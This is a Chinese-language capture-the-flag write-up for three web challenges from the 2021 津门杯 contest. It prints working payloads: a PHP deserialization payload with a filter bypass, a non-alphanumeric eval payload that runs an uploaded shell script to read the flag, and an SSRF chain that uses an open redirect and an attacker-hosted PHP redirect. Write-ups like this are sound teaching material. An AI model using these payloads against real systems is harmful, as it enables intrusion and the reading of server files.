津门杯 2021

Web

power_cut

.index.php.swp 源码泄露可以得到如下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
class logger{
public $logFile;
public $initMsg;
public $exitMsg;

function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);

}

function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}

function __destruct(){
echo "this is destruct";
}
}

class weblog {
public $weblogfile;

function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}

function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}

public function waf($str){
$str=preg_replace("/[<>*#'|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}

function __destruct(){
echo "this is destruct";
}

}

$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);

?>

<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>

可知 flag 位于根目录下,同时 weblog 对象会实例化一个 logger 对象,从而触发到 readfile($this->logFile) 处,而 logFile 是可控属性,因此可以反序列化触发读取文件。反序列化前采用了 preg_replace() 方法来过滤输入,只需要在序列化后的载荷中双写绕过即可。构造出如下脚本。

1
2
3
4
5
6
7
8
9
10
<?php

class weblog{
public $weblogfile;

function __construct(){
$this->weblogfile = "/flag";
}
}
echo serialize(new weblog());

运行脚本并双写绕过过滤后得到如下载荷。

text
1
O:6:"weblog":1:{s:10:"weblogfile";s:5:"/fflaglag";}

将载荷为参数 log 的值发送即可得到 flag。

1
flag{EfuteB3QOqvRqD099mHuDRJKWRxnAC47}

hate_php

题目给出的代码如下。

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[[email protected]]+/",$code)){
die('fighting!');
}
eval($code);
}

在响应中可以找到 X-Powered-By: PHP/5.6.40。因此常见的取反和亦或都在 PHP 5.x 下失去作用。因此尝试执行 PHP 上传临时文件。

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

使用参考文章中的方法构造出如下载荷。

text
1
?code=?><?=`. /???/????????[?-[]`;?>

再使用 POST 传入一个文件,其中写上需要执行的恶意 shell 指令,以文件的形式上传。

1
2
#!/bin/sh
cat /f*

载荷发送后即可在响应中得到 flag。

1
flag{h76ghpt2v2JiYEKzBQ5ysxu9b2Z3mN4A}

GoOSS

靶机给出的访问对的是 Go 的服务,因此有两个接口。在 /vul 下可以找到如下功能。

1
2
3
4
5
6
7
8
9
10
11
if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){
c.JSON(403, gin.H{"msg": "url forbidden"})
return
}
client := &http.Client{Timeout: 2 * time.Second}

resp, err := client.Get(url.Url)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}

提供的是一个访问本地服务并返回结果的功能,而根据附件可知靶机的 80 端口运行着 Apache 并可以用如下 PHP 代码进行文件读取。

1
2
3
4
<?php
// php in localhost port 80
readfile($_GET['file']);
?>

尝试 bypass 这个检测去 SSRF 发现不太可能。找到了如下的代码片段,从而尝试使用 302 跳转来实现一个 SSRF。

1
2
3
4
5
6
7
8
9
10
11
12
13
if !strings.HasSuffix(c.Request.URL.String(), "/"){
c.Redirect(302,c.Request.URL.String()+"/")
}else{
files := make([]string,0)
l,_ := f.Readdir(0)
for _,i := range l{
files = append(files, i.Name())
}

c.JSON(http.StatusOK, gin.H{
"files" :files,
})
}

open redirect in static handler

https://github.com/go-macaron/macaron/issues/198

按照参考中的利用构造出 {"url": "http://127.0.0.1:1234//YOUR_HOST_IP/.."} 即可 302 去访问任意的地址。只需要在服务器端放上如下代码即可。

1
<?php header("Location: http://127.0.0.1/index.php?file=/flag");
1
flag{30e308e8e7122579b8ea2fae774d1999}